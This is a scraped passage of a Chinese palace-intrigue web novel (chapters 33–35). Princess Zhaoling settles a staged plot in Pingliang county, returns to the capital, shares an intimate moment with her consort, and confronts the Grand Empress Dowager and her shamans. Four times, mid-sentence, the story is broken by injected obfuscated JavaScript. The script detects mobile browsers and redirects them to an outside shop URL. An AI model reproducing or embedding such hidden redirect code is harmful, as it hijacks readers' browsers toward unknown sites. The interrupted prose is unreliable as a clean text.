牧晓有些庆幸她这次带的是连冬。若是芒夏的路数，大概要和这女子过几回合，吃点暗亏了。 千军万马中光明正大搏杀，芒夏比连冬擅长得多；但若是涉及市井江湖常用的阴暗手段，还是平日自己就神出鬼没的连冬更得心应手些。 不过，连冬习惯直接下死手，一刀封喉。若不是牧晓刚才那句话，这女子大概要被直接切开喉管，横尸当场了。 牧晓走了几步，看清那女子的脸，奇怪地“嘶”了一声。 在陶云娴惊异不定的目光中，牧晓快步走到那女子面前，蹲下身道：“真是大水冲了龙王庙。闻絮，你不在闻笙身边好好呆着，来平良县做什么？你和那边那人认识么？” 闻絮沉浸在连冬刚才那惊才绝艳的一刀里，完全没注意到有人在和她说话，脸上的表情从茫然变为狂喜，兴奋地一卡一卡抬头，转向连冬的方向，喃喃道：“教教我。” 连冬面无表情道：“先回答殿下的问题。” “嗯？”闻絮疑惑地回神，脑中一字一字缓慢反应出牧晓刚才说的话，有想起笙姐好像多次和她说过，殿下的话很重要。 她用膝盖在地上挪动，转回牧晓的方向，乖巧答道：“回殿下。这里几日前有大水，但没有龙王庙。笙姐让我自己给自己找点事做。我去街上随手接了个活，要杀今早此时走进县衙之人，还不能被别人发现。既然是殿下，那就不杀啦。” “我和那边的人不认识。他也要杀人么？他太笨，谁也杀不了吧。”闻絮说完，咯咯笑了两声，琉璃珠子似的透亮大眼睛忽闪忽闪看着牧晓，“殿下，我起不来。可以让连冬姐姐扶我一把吗？我还想和她交手。” 闻絮每次遇上自己无法打败的人，都会这样像个诅咒娃娃一样假笑且宕住一段时间。这段时间和她说话，她能依言一句一句答，但是不能正常沟通的。 牧晓对此见怪不怪，起身对连冬道：“看她手一直垂着……你把她双肩卸了？” 连冬不吭声，伸手去把闻絮一边脱臼的肩膀摁回去。 牧晓欲言又止，正在想要不要拦连冬一把时，闻絮已经飞速跃起，自己按好另外一边，扑过去捡自己被打飞的刀。 牧晓叹口气，飞速伸手拽住闻絮的后领，把她就地提起来一点。 闻絮也不扑腾，悬在半空安静下来。她的衣服是特质的，是闻笙为了让信任的人能在闻絮这样的状态下以特定方式制住她。若是不信任的人这样做，闻絮会直接杀掉身后之人。 “你给她按回去，她马上会找你再打……别，你们两个就别想这么拎她了。还是把她捆一下吧。她等会就自己好了。”牧晓自己说出来也觉得实在好笑。那边真正不明身份的突袭者用不着捆，这边闹乌龙的自己人倒是需要捆一捆。 安放好闻絮，牧晓准备等她清醒后，再问清她到底是从谁手中接的这个任务。 那边还蜷在地上的壮汉昏昏沉沉间，突然想起自己的任务，感觉大势已去，自己也命不久矣，对着现在还紧闭的县衙门深深望一眼后，挣扎着想向石墙撞去。 陶云娴隔在了他和石墙之间。 “别费劲。你现在这种情况，撞墙也难死。”牧晓的声音从远处传来。 陶云娴在近处打量他多时，开口问道：“你是当地人吧？矿夫？” 壮汉虽然不答，但眼神中的震惊和疑惑还是出卖了他。 陶云娴验证了自己的部分猜想，心一沉，继续问下去：“闻絮不在乎你的存在，但你却知道，有人会帮你，还是个高手。” “县衙门外，待你一死，百姓会越聚越多。” “你昨夜就在县衙中。县令、你和门外百姓，三方本该来个里应外合。只是县令现在被看管起来……他曾许诺你，事成就一定能得到你想要的报酬，所以你无论如何都想一试。”壮汉眼中的震惊转为一丝丝被发现后的惶惑与恐惧，挣扎着挪得离陶云娴远了些，下意识扭头去瞟那边的牧晓。 “殿下，”陶云娴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843995|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头蹙眉道，“若是我没猜错……你本不该来平良县。看样子，这是借机给你设的局。这根本就是玄……” 这根本就是玄岫城的拙劣复刻。 路面冰封，状似孤岛；大道不通，再过几日，若是赈灾的运粮车还进不来，饥荒也在所难免；玄岫城门外是敌军，县衙门外是……百姓。 还有什么？疫病…… “云娴，本该自尽的平良县令现在还活得好好的；本该给这位壮士和县令传信的人，今日天还未明时，已拿下了。” 牧晓站在靠县衙大堂门更近的地方，仰头看着天边那已从两山间吃力爬出的淡红色太阳，“门外的人聚不起来。比疫病散播更快的流言，也起不来。我昨日带来的人，已用法子把本该聚在县衙门口的百姓都吸引走了。”她虽未想过有人借京郊雷打雪借机复刻小玄岫城，但许多招式，她幼年时就见过了，在西南也百般领教过了。 再过几刻，这县衙前的日光，大约会相当刺眼。 时间差不多了。 牧晓在冬日明亮却不算温暖的朝晖下，对陶云娴微微一笑，转身打开大堂的黑漆门。 连冬向后退几步，转身推开县衙的朱红大门。 大堂内，形容憔悴的平良县令枕着一本墨迹凌乱的新折子，从半睡半醒中挣扎着睁开眼，被门口的石板返照的光晃了神。 县衙门外，完成任务的公主府众人鱼贯而入，有条不紊地整理起因打斗略微有些凌乱的前院。 不远处，驴车载着几名风尘仆仆的朝中官员辘辘而来。他们天不亮时早已出发，车马行至就近驿站，冰爬犁直过冰面与封冻的洛水支流河面，进县后转驴车。因出价高，商贾百姓都乐意借。就算没有这些，若是几位官员真想来，自己就算爬也能爬进县。 户部的杜侍郎与都察院右佥都御史走进县衙大堂时，正见平良县令哆哆嗦嗦地起身来迎，昭灵公主垂眸安坐在旁，也是一副刚到的样子。 “实、实情已……已具写成册，交与昭灵公主。”平良县令结结巴巴道。 牧晓递给两位官员一人一册：“还未实地勘验过真伪。劳烦二位了。” 平良县令缩在一旁不敢吱声，只在两位官员翻阅完后，主动表示愿意带路前去核实详情。 “进县时，看到县令家眷正在组织分发粥食？”杜侍郎温声询问平良县令。 平良县令悄悄一瞥昭灵公主，见对方神色完全没有变化，也没有要向他暗示什么的意思，只能自己磕磕绊绊道：“民间商户百姓自、自发互助，共渡难关。下、下官家眷只是在现场助力维护秩序。” “县令不必紧张。”右佥都御史嘴上说着宽慰之语，语气却相当公事公办，“但合纲纪、利民生，问心无愧，有何可局促之处？” 平良县令听到纲纪与民生，脸色更加惨白，再次缩缩脖子道：“下官，下官……只因天太冷，所以冻得口齿不清。让昭灵公主与二位大人见笑了。” 平良乡勘灾三日骤过。 该是启程回京时了。 33.笼雀对歌 道路两旁灰白山水疾速掠过，牧晓一路往京城方向行，一路感慨。 原说“士别三日即更刮目相待”。她离京三日，入京路与京城也都换了模样，值得她刮目相看。 回京路比来时好走太多。 入平良县之路冰雪已除。 她那夜借扣下平良县令之事，给县令家眷递信，要求其家散财来换县令自由。这几日受到临时赈济的百姓亦不白领粥食，而是在朝廷不日将分拨更多赈灾粮的承诺下，被秩序井然地组织起来，满怀希望从内向外除去路面冰雪。 入京道路两旁，并未像往日其他地方受灾时那样漂散零星流民，依旧是行人车马依次通行，不见异状。 京城内外，因年底将至，民家、商铺、官府，都有得是事物可忙。流民到来后在官府的组织下登记，分派给缺乏人手的各方，用劳力换取温饱。等家乡灾过，或有希望再次反乡。 是以天灾虽至，京城内外这几日反倒更加热闹。路边有商铺用他乡流落至此的有才之人，复刻乡里特产和特色装饰，以此为噱头，吸引在京不能归家之人尝尝正宗的家乡味道，共怀旧乡往事。 牧晓莫名想起平良县令那夜在崩塌结冻的焦土旁，向她暗示朝中乌鸦一般黑的那些话。 朝中多数人或许真的应了“善不为官”四字，但这并不代表不为善事。 有人的善长出锐利锋芒，有人的善对利字俯首称臣。 但只要朝中争议之声不息，各方博弈有来有回，执掌天下者心中天平不倾颓，总有因各种理由拍案而起、不平则鸣之人，真正做成利民利国之事。 进京后，车马先将陶云娴和陶云鹤送回府中。 这几日在平良县，牧晓和陶云娴聊了不少。关于过往那段从来都只擦肩而过的岁月，关于当下这段与世隔绝的特殊经历，关于未来到底该如何走的规划与期许。 第一日，陶云娴直言不讳问牧晓：“为何殿下接我投名时，先提到的还是陶家？” 牧晓面对这个一怔，答道：“能有孤注一掷勇气之人，大多身处困境。不愿为笼中雀，首先自然要破开最小的牢笼。我并非万能，但不论云娴日后还会做出什么选择，现在既然选了我，我能做的，就是尽己所能，帮到我亦无能为力为止。” 第二日，陶云娴在得知自己持手中镯，能获得任意公主府相关之人帮助时，默然良久后坦然一笑，问她：“殿下，那我与公主府算是什么关系？” “座上宾，窗前友，有缘人。”牧晓与她一同看向窗外河前雾中山，“效力二字太重，要搭上身家性命。前路渺茫，为何要为雾中山再入樊笼？只因笼中景色不同么？” “日出峡间，薄雾自散。更何况人生在世哪会没有拘束？我并非为出笼中，而是想自己选个心安处、心向处。”陶云娴将一块自己精雕细琢过的玉牌从桌上推向牧晓，“此物没有那镯子背后那样强的力量，但既然殿下给了诚意，我的诚意即使再微不足道，也是要给的。” 牧晓摩挲着玉牌上复杂的图案，不知这和自己给的印信是同等效力，还是面前女子能拿出的全部身家：“我收下了。这样不算效力，和闻笙他们一样，算合作，算并肩而行、共探前路。” 第三日，回想县内百姓官员夹道相送，陶云娴轻声对牧晓道：“殿下，你这是既要西南，也要民心。” 第一次有人在牧晓面前直接戳破这件事。 百听阁起火那日，姚千宁在公主府敢脱口就是“若牧晓想造反怎么办”这种听起来就荒谬的例子，大概也是敏锐察觉出一点不同寻常的倾向——她要权；与她朝夕相处的苏墨清应该早就有所猜测，但不点破、不干预、不阻拦，大概还计划着暗中帮她一把；余长欣在暖炉宴上明摆着不想让牧崇仪和她走得过近，也是在担忧这个方面么？ 牧晓自己也并不是完全没想过这个问题，失笑道：“坦诚说，我换个角度思考时，也发现不论是玄岫城，还是登闻鼓，亦或是现在的平良县，我做的事在旁人眼中似乎还真是这个方向。” “但我选择做的时候完全没想过这些。只是路遇不平事，只想快刀斩乱麻。不然我反而会收敛。” 牧晓对她用打趣的轻快语气道：“你现在戳破有点晚。我再选择收敛，似乎也来不及了。”更何况就算再重走一次来时路，她也做不出更好的选择。 “那我们可得做好接招的准备。”陶云娴嫣然一笑，“我家里人肯定已经等不及了。我先回家接几招，改日定上公主府拜会。” 牧晓目送着她下车走进陶府，直到陶府大门无声合上，阻隔了她的视线。 她心中瞬时一空，随即想起自己的府中，又升起几分隐密的雀跃。 她不到及笄就出宫独自开府。从牧府改换的公主府，这么多年来，已很久没有家人在她归家时等候了。 但今日不同。 今日，不仅陶云娴有家人等候，她府中也有人在等她。 · “平良县一行，可还顺利？”苏墨清对她这样一声不吭进门先抱人的行为，下意识的惊喜之余，有一丝诧异。 毕竟她之前这样，多半是在外面有什么不顺心之事，或是气不过却没法马上还回去。 “顺不顺利你不知道么？”牧晓没松手，闷声道，“不是和你在信里都说过了么？” 虽然她心里觉得此行着实收获良多，过程也没有太大波折，但这几日连轴转的疲惫迟缓地涌上心头。 她现在什么都没想，也懒得再想，只是遵从本心抱住眼前人，在他怀里小声抱怨：“他们都想算计我。一个个嘴里没几句真话，还对我拔刀。” “但昭灵公主不是都顺利解决了么？”苏墨清轻拍她的背，“我确实都知道。不仅是看了你写的信，平良县的事在京中也传开了一部分。真是相当惊险。” “也算不上惊险。就是好累。”牧晓继续往他那边瘫，“夫君也叫过了。我不想动，你抱我走。” 牧晓原计划只是想让他抱着自己退后几步，坐到后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848253|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的扶手椅上。 没想到下一瞬，她感觉到自己被打横抱起，还轻轻颠了一下。 她微微一惊后放松身体，伸手揽住他的脖颈，但转头和他的眼神错开，有点不好意思：“倒也不必这么抱。” 抱着她的人轻笑一声，走到另一端的软塌上坐下。 牧晓听到心脏砰砰跳动的声音，纠结了几瞬，想到周围没别人，还是维持着这个姿势尽量放松。 她感受到两人接触的每一寸皮肤都在发烫，传递出酥麻的触感。 宁静而暧昧的氛围在摇晃的烛火下蔓延。 她又往里靠了一下，听到对方对方的心也和她的跳得一样快。 “真是拿你没办法。每次都拿你没办法。”牧晓无奈轻叹一声，抬头看着对方盈满温柔笑意的眼睛，伸手抚过对方的面颊，笑着出言调侃道，“谁家被拐进来的公子呀，这么俊，还肯为我花心思。” 腰间的手臂收得更紧了。她看到对方唇角的笑意越来越浓，自己扑哧一声笑出声，仰头在他的喉结上轻轻烙下一吻。 然后，她满意地感受到对方的惊讶和那一瞬的凝滞，听到对方带着无奈和压抑对她道：“收收神通吧。” 牧晓继续专注地看着他，笑问：“这么能忍？不亲回来？” “亲回去，”苏墨清垂眸看着怀中人，“然后呢？” “嗯……也没说不能有然后。”牧晓对着他缓缓眨眨眼睛，还是调侃的上扬语气，“你觉得呢？” “我觉得……”苏墨清看着她的眸光越来越深，“我觉得你似乎没准备好。” “我怎么没……”牧晓说到一半，感受到自己刚才刻意放松的身体又在缓缓绷紧，嘴中话语一绕，“早晚的事。说不定……” “你也说早晚的事。何必呢？”苏墨清少有地打断了她。 自己一时意乱情迷继续下去，让对方不适又有什么意思呢。 “我只是有点不习惯。”牧晓轻叹一声，转过头去不看他迷乱中混着一丝清明的珍重的眼神， “行。那你……尽量让我快点习惯起来呀。”她语气中带着几分娇嗔，把一只手摁在他胸口，“心跳得这么快……” “牧晓，别乱摸了。” “行，行。”她无奈妥协道，“我不动了。要不你放我下来呢？” “不放。” 牧晓觉得有些好笑：“不让我乱动还不放我下来。嗯？行行行，再抱一会就再抱一会。谁怕谁。你在练什么坐怀不乱么？” 原本抱她过来，只是因为习惯性想哄一下她的苏墨清沉默了。 片刻后，他重新抱起牧晓，快步穿过连廊，把她轻轻放在她自己房中的塌上：“早些休息吧。其他的事明日再说不迟。”说完，他不等她回话，转身离开，帮她带上了房门。 既然不继续，那他们两个都需要冷静一下。 牧晓坐在塌上歪头看着他介于从从容容和落荒而逃之间的远去背影，愣怔几息后向后倒在床上笑起来。 34.宫中闹剧 “公主殿下，太皇太后召您与驸马一同前往仁寿宫叙话。”今日一早，宫中传懿旨之人来到公主府。 “我这位皇祖母闹得是哪一出？她还能记得我们两个长什么样么？”牧晓对这位祖母完全没有好感，也难以猜出她在宫中为何会一时兴起想起他们两个来，“牧崇佑给她请的人，难道真能把她治好了？快过去十年了，又有力气折腾我们了？” 牧晓的父皇刚登基时，这位与京中牧府实在不亲近的祖母，也着实耀武扬威过一段时间——最不喜的儿子成了皇帝，不还是得封她为太后？ 当了皇帝的儿子她叫不来，当了太子的牧晞她唤不动，当了皇后的楚岚骁天天推说整治宫务不去请安，这位被从天而降的太后之位砸中的老妇人，一腔不快无处发泄，瞄上了当时的太子妃余长欣，以及刚封了昭灵公主的牧晓。 不知处于什么缘由，先帝竟没有阻拦这位太后想将当时尚且年幼的牧崇佑养于膝下的懿旨，牧晞也没有提出太大的异议。 只有牧晓知道，给当时在改朝换代中本就处境艰难的余长欣，带来了多大的痛苦。 余家与陶家不同。陶家因牧晗误打误撞站对了方向，余家却没有因为嫁进牧府的余长欣就顺势依附新主。 余长欣的祖父余老太师，痛骂先帝是不忠不义的乱臣贼子，带着余家上下自尽于宫门前，自始至终没给两难的余长欣留下一句话，也没给她留下一点退路。 被软禁在牧府的余长欣身边只有年仅三岁的牧崇佑。牧晓也无法进屋探视。 正当所有人都在议论余长欣是否已自尽随余家人二去时，东宫传来消息：太子牧晞，要娶太子妃了。 众人下意识认为，牧府里那位小余夫人确已逝去。一时间，新太子妃到底是何人这个问题，为人津津乐道。 但最终，令众人大跌眼镜的是，太子拿出当年和余家已履行过的婚书，将上面那些如”永结同心、白首不离”的修饰之语当众诵读，誓要和这位早就是他发妻的余家女再履行一次婚约，将她娶进东宫。 先帝无奈，另寻了户身世清白的余姓人家，让余长欣记在其名下，改了年龄背景重新出嫁。 那位被软禁已久的小余夫人，礼法上与原来的余家断尽了关系，不哭不闹，面色如常再次大婚，名正言顺成了东宫太子妃。 但问题也正出在“礼法上”这三个字。人人皆知牧崇佑是她的亲子，人人皆知她早就嫁进牧家。但在礼法上，余长欣是继室，也是牧崇佑的继母，。 当时的太后，就是瞅准这个空子，把牧崇佑要了过去。 余长欣进了东宫，身边却更空了。 牧晓那时常去东宫陪她，自然知道她不如明面上那般云淡风轻；而牧晞对余长欣，也没有表面上那样情深。 那位太后得了牧崇佑，不知出于何种心理，又瞥上了十几岁出头的牧晓。 牧晓原本完全有能力拒绝这位太后让她去仁寿宫的要求。 她从小就没有什么“合不合礼法”之类的意识，牧府中人又在对她这方面的培养上出乎意料地一致保持静默，只是一味和被她气得吹胡子瞪眼的姚老先生致歉，从未有要管教她这方面的意思。 对牧晓而言，不论那人是不是什么太后，和她不亲近，她直接拒绝才是正常的。要是硬要她去，仁寿宫肯定会被她明里暗里闹得鸡飞狗跳、不得安宁。 所以不论是身为母亲的楚岚骁，还是别人，都没有插手干预这件事。 让宫中众人稀奇的是，牧晓竟平静地答应了，还乖乖去了仁寿宫一段时间。 不过仅一年，尚在豆蔻年华的牧晓就被允许在宫外开府，还是在原牧府的基础上扩建公主府。 又过了一年，她“偶然”撞见仁寿宫照顾牧崇佑不周。 牧崇佑又回到了余长欣那里。只是需要经常去仁寿宫给那位太后请安。 而那年新出生的牧崇仪，长到现在都几乎未曾见过仁寿宫的那位。 “十几岁出头，要去仁寿宫的那段日子，真的相当难熬。”牧晓想到仁寿宫现在那位太皇太后，还是忍不住皱眉，“倒不是说她真能对我做什么，那些不痛不痒的小麻烦解决起来就是顺手的事。只是她总喜欢对着每一个女子评头论足，日日如念经般说教，让人不得安宁。” 当时如果不是为了给余长欣带有关牧崇佑的消息，牧晓也不会在那如群蝇飞舞的说教里，断断续续待一年之久。 “找个由头回绝？”苏墨清漫不经心道，“这位太皇太后大约六年前，也召过我一次。” 六年前，那时他们在宫外，儿时定下的婚书到了可以履行的年纪，两人也已真心生出几分友情之外的情意。 “这你之前没和我说过。当时是以我准驸马的身份吧。”牧晓回想六年前的情况，突然笑出声，“提到她你也这么不高兴……这位太皇太后是不是和你贬损了我一通，还给你提了些类似‘日后要好好管束训导妻子’之类的建议？这些话她常说，更难听的也有得是。我一点都不奇怪。” “因牧崇佑那件事以及我在仁寿宫与她的互相折磨，我在相当长一段时间，大概荣登她心中最厌恶之人榜首。”牧晓无所谓地耸耸肩。 “不过这次，还是去一趟为好。”牧晓语气一沉，叩了下桌面，“暮药师在宫里。召我们两个说不定和他有关。”就是无关，牧晓也有些事需要问他。 · 沿着宫道前行，在太和门广场，牧晓见到了一位意想不到之人。 兵部的刘尚书。 牧晓到现在都不太确定和自己明里暗里斗来斗去之人，是否是他。 在两方行礼后即将擦肩而过时，刘尚书竟然开口叫住了她：“昭灵公主。老臣已向陛下请辞，告老还乡。” 牧晓顿住脚步，面上不动声色道：“刘尚书肱骨之臣，荣归故里颐养天年，恭喜。” “不知公主可会赏光参加老臣的践行宴？”刘尚书态度恭敬，身子弯得及低。 牧晓没有直接答，而是不带感情色彩道：“太皇太后召得急。恕难久留。” 待她说完，两人回礼后转身快步向仁寿宫方向走去，与刘尚书渐行渐远。 走在宫道上，牧晓心中疑云愈发浓重，还暗暗带起一丝心惊。 按刘尚书的表现，这可不像是荣归故里的那类告老还乡。 她以为一时不会倒的人，就这样要离场了。 如平良县那矿山一般，崩塌得猝不及防。 比起回京路上所见的一系列变化，原来这里才是她不在京的三日，最变幻无常之处。 缘由是什么？和平良县有关么？ 他刻意邀自己去践行宴，又是为了什么？ “昭灵……牧晓！”太皇太后怒斥的声音在耳边响起，“你还不跪。”她已说了许多话，见牧下仍在走神，难以控制住自己的语气和声量，也顾不上端住体面。 “臣女和驸马近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856300|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日身体不适，和皇祖母叙话，就不遵循这些虚礼了。皇祖母见谅。”牧晓不咸不淡地回道，并带着苏墨清找了两个位置自顾自坐下，“若是皇祖母想关心孙女，就把那位医术精湛的医师借孙女几日，可好？” 能这么大声叫她名字，看来太皇太后的身体状态比她想象中好太多。 “有损皇家颜面的东西……哀家看你不仅得治治脑子，还得去去晦气。来人。”太皇太后居高临下招呼道。 一群巫祝进来，走到她身前，一个接个掏出龟甲、蓍草、铜钱、黄纸、符箓、桃木剑、粗盐、糯米、雄黄酒…… 呜呜泱泱的。南城的市集开到仁寿宫了么？几年不见，花样更多了。等会是不是还会在她耳边细数她的错处，来超度她的灵魂。牧晓面无表情想。 她给苏墨清一个“站一边别动”的示意，自己从椅子上缓缓起身，握住椅子把手，想像当年那样直接把靠她太近的人扫倒。 然后发现，椅子被钉在地上，无法轻易抓起。 最了解自己的是自己的敌人。这句话不无道理。牧晓松开握着椅子的手，觉得有些好笑。 要是直接转头出门，仁寿宫这些人还在后头一路追，她可不想在宫里闹那么浩浩荡荡的排场。还是在仁寿宫里解决了为好。 正当她不紧不慢地思考是去夺那把桃木剑，还是随手拆个椅子把手时，门口传来纪公公的声音：“皇帝陛下、皇后娘娘驾到！” 两位身后还跟着牧崇佑，以及几天前刑场旁被截进宫的暮药师。 这下可真要热闹起来了。可以开的戏，台面比百味坊中最复杂的还多。 牧晓和那群巫祝都不得不停下各自准备做的事，等待圣裁。 太皇太后见他们前来，自觉下面的都是小辈，从来拿她无可奈何，更何况这次她自觉自己占理，高傲地向后一靠道：“皇帝，你没处置这两个灾星，那就让哀家来。好歹看看他们是人是鬼。” 在场众人一时无人理她。 “上天已多次示警。他们不论是在西南还是在京，都引来雷打雪异象，惹出多少祸事。这是神罚！皇帝，你不在乎天意么？”太皇太后尽力拔高声量，“皇帝，你还管得了你这妹妹么？你就容她这样娇纵蛮横、目无法纪、不知廉耻，和当年楚家那个贱蹄……” 嘭的一声巨响。 牧晓直勾勾地盯着上位的太皇太后，脸色阴沉，抓起桌上的紫铜莲型烛台，狠狠砸到地面上，打断了她的话。 全场的隐晦的目光从太皇太后身上，移到牧晓身上。 牧晓还是站在那里，直勾勾地盯着太皇太后。 “牧晓！你……”太皇太后顶着那渗人的目光，气得捶胸说不出话来。 牧晓一甩衣袍转身直直跪下，垂眸一字一顿道：“臣妹一时手滑，惊了圣驾，任陛下处置。”她垂在衣袖中的掌心攥紧，被铜烛台不慎割破的手掌渗出血滴。 应该小心一点才是。她脑中不着边际地想，被这宫中的东西划破了手，才是真正的晦气。回去得浇上瓶酒去去晦气才是。 你们都对她没说完的那句话无动于衷么？ 她怎么有脸提我母亲？ 皇兄，你本可以…… “再进巫祝，仁寿宫中人皆问斩。今日之事外传者，亦斩。” 牧晞说完后，将视线移向直接跪在紫铜烛台一角碎莲瓣上的妹妹，平静道：“起来。下次扔准些。别的去皇后宫中再议。” 35.兔死狐悲 扔准些？往哪儿扔准些？往那嘴里不干不净之人的头上么？ 听起来有些冷幽默。在这个场景里听到这句话，牧晓心中生出一份荒谬的可笑之感。 她把膝下的碎莲瓣摸出来丟到一边，随意甩甩手，自己站起来，想跟着他们一起去坤宁宫。 “昭灵公主，这边请。”余皇后身边的宫女对她一礼。 这是只把她一个人请走的意思。 牧晓瞳孔骤然一收，感知一下周围人的情绪和神态，脑中飞转。 他们带来暮药师，真的是要给太皇太后治病的么？ 什么事情值得皇帝皇后一同前来？ 太皇太后要崩逝了。 牧晓心中的荒谬之感越来越强烈。 她承认刚才思绪飘忽时，在心里想问她皇兄——当年洛水刑场杀同父异母的那些名义上的弟妹时，怎么没敢把这个名义上的祖母一同送上刑场？同是与巫祝相关，同是嘴喊天意。 但当这种可能真摆在面前，她竟然是在场最觉不可思议的那个。 刚才无人在意太皇太后说的话，是因任谁都不会和将死之人置气。 牧晓沉默片刻后，跟着宫人走出了仁寿宫。 就是没有摔那个铜烛台，她也会被率先请走。 毕竟她年少能出宫开府，乘得是议礼之争和侍奉皇祖母这个噱头的东风。 想到今日之事，大概会被传成她因皇祖母即将离去而伤心过度，牧晓心中五味杂陈。 不论是对不日即将离京的刘尚书，还是对这位太皇太后，她自然不会有所不舍。只是他们耀武扬威的模样还在眼前，却在同一时间退场得这样猝不及防，让牧晓心中的荒谬之感又叠上一层茫然而无所适从，甚至隐隐有一层她不愿意承认的……兔死狐悲。 真是奇怪。牧晓心道，她怎么会和这两人扯上“兔死狐悲”这个词？ 在这件事上，她不应该和她皇兄站在一边么…… 为什么她在不寒而栗？为什么她每次进宫见她皇兄都浑身不自在？ 宽和，纵容，恩宠，暗中鼓励甚至引导……当这一切落在一个跪在高台之下的人身上时，会让人产生自己能拥有世间所有荣华锦绣的错觉，甚至误以为自己可以心想事成、点石成金、万事顺遂。 她皇兄表面上什么都不阻止的态度，以及缓缓撒下的那几粒名为权力的诱饵，引得多少人争相咬钩？ 她亦不能免俗。她终究不能免俗。 牧晓猛然松开自己一路攥紧的左手，指缝间粘稠的半干血液互相撕扯纠缠，指尖的颤抖不知是因迟来的痛感，还是这天实在太冷。 她抬头望了望四周高高的宫墙，想起这条从仁寿宫到坤宁宫的路，她那年常走。 不过当时坤宁宫中的皇后，还是她母亲。 当时也这样冷么？牧晓模模糊糊想。她怎么记不清了。 她以为自己这辈子都不会忘掉母亲还在时的点点滴滴。 没想到仅仅六年，她连这条宫道大致多长都忘记了。 真是不该。牧晓在寒风中突然短促地笑了一声，问前面带路的宫女：“宫道近年来改过？还是坤宁宫挪位置了？过了吧？”皇后身边的人还能带错路么？ “回公主殿下，皇后娘娘的意思是先去您宫中的旧院，再去坤宁宫。已传太医前来，为殿下处理手上的伤。” 牧晓微微一愣。她都出宫独立建府多少年了，宫内旧院还留着么？ 在她母亲还在时，那旧院确实还留着，她经常进宫和母亲闲聊，也经常住那旧院。 母亲在她及笄后曾戏谑地问她，是打算从她自己院中出嫁，还是直接从坤宁宫中走？还回来看在坤宁宫孤枕难眠的自己么？ 她向母亲撒娇说，她就算出嫁也不会直接变成泼出去的水，和现在能有什么不同？只要母亲身边给她留个窝，她肯定日日来，直到母亲看到她就烦为止。 可惜母亲没能看到她出嫁。母亲走后，她也从未再住过宫中旧院。 “殿下，前方就到了。”宫女说完后抿了抿嘴，觉得自己说了句多余的话。公主还能不知道自己的院子在哪儿么？这样说实在不妥，就像是公主正应邀去哪个她没去过的院中做客。 牧晓听后果然又笑了一声，见她脸上浮现懊恼，加了句：“多谢提醒。许久不来，对路是有些生疏了。” “奴婢先侍候公主换下沾血的衣裳吧。”宫女不好意思地笑了一下。 牧晓原以为是从别处新拿一套，未曾想到院中就有。不是多年前的衣物，但不知是有心还是无意，常服仍偏向母亲没走那几年她喜欢的颜色样式，只是在细节处因她这几年身份的变化，有些更合制的调整。 “这边院落是皇后娘娘在打理么？”牧晓问她。 “是。”宫女答道，“此处离坤宁宫十分近便，位置特殊。皇后娘娘特地关照。” “改日定专门为此拜谢皇后娘娘。”牧晓叹息道。 她现在这样模糊的身份定位和婚事状态，什么衣服都穿得了。 这一身上去，手再缠上几圈，最好膝上再踉跄两步，真是装无辜装可怜的好方法。 · 手上的棉纱布内透出清苦的草药味，牧晓看看镜中自己刻意模糊过去与现在的发饰服饰，对镜调整了一下自己的表情和眼神，向那宫女粲然一笑道：“真是好巧的手。多谢。” “公主天姿国色，能允许奴婢为您梳一次妆，其他宫女都是要羡慕奴婢的。”宫女甜甜一笑，觉得昭灵公主私底下比传闻中描述得好相处得多，说话也没那么拘谨了。 牧晓起身走出院门，准备前往坤宁宫等候。 行至坤宁宫前，一个小女孩哒哒哒跑了过来，抱住她的腿，娇声道：“昭灵小姑姑，好久都没来看崇仪了。” 牧晓用右手单手抱起牧崇仪，笑道：“崇仪也没来看我呀。” “我求过母后了，母后不让我出去。”牧崇仪抱怨一句后，兴奋道，“好久没人这样抱我啦。昭灵小姑姑真好。” 牧崇仪往牧晓身上一靠，闻到一阵苦涩的味道，皱皱眉：“小姑姑受伤了么？”说完她挣扎着要下来。 “崇仪还能闻出来这个？”牧晓把她轻轻放到地上蹲下身，向她摊开包了白色纱布的左手，“没事，只是不小心划到手了而已。单手一样可以抱崇仪呀。” “看着就好痛。”牧崇仪回想起自己上次被书页划破手指的痛，轻轻抚上纱布表面，“不要小姑姑抱啦。等小姑姑伤好了，再抱崇仪。” 牧晓伸手轻轻一捏牧崇仪的面颊，朗声笑道：“崇仪真贴心。怎么知道我要来的？” “母后悄悄和我说的，让我在殿里等小姑姑。”牧崇仪附在她耳边道。 有崇仪在，一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 